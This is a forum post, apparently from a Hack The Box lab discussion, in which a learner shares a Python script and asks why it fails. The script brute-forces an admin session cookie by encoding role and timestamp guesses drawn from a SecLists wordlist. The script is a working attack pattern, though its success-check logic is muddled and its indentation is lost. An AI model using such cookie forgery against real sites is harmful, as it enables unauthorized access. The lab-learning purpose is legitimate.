Hi guys, I need some help for the first question of this section. Becuase I lost so many time to this bruteforcing attack over this cookie.
To begin, I create/modify the script of this section, and I added a fuctionality to read a wordlist file for solve this question. The script that I create/modify is the next:
from base64 import b64encode
from binascii import hexlify
import requests
import urllib.parse
from sys import exit
url = "http://ip_target:port/question1/"
now = 1648839247
start = 1648839247 - 1000
flag = 0
with open('./wordlist.txt') as wd:
for fline in wd:
for x in range(start, now + 1000):
cook_ = "user:htbadmin;role:{};time:{}".format(fline.rstrip(), x)
stp1 = hexlify(cook_.encode()).decode()
stp2 = b64encode(stp1.encode()).decode()
stp3 = urllib.parse.quote_plus(stp2)
print('[+] Check encode cookie: {}'.format(cook_))
cookie = {'SESSIONID': stp3}
res = requests.get(url, cookies=cookie)
if 'Unfortunately' in res.text:
flag = 1
if flag == 0:
print('[-] Valid Cookie found: {}'.format(stp3))
exit()
elif 'Login' in res.text:
continue
else:
print('[!] Unexpected response - verify [!]')
I used ±10 min as timelapse for time generated admin cookie.
Another thing to mention, is I used âCommonAdminBase64.txtâ wordlist of seclists wordlist.And I apply content filter to this wordlist to get only valid string for bruteforce the value âroleâ. And as last mention, I used the string âUnfortunatelyâ as reverse condition to know if the attack was successful.
I donât know if the my script wrong or I used a wrong list. The problem is that for each bruteforce attack with this script, takes more time than target machine time live.
Anyone, can telling what I doning wrong? Or A hint to the correct wordlist?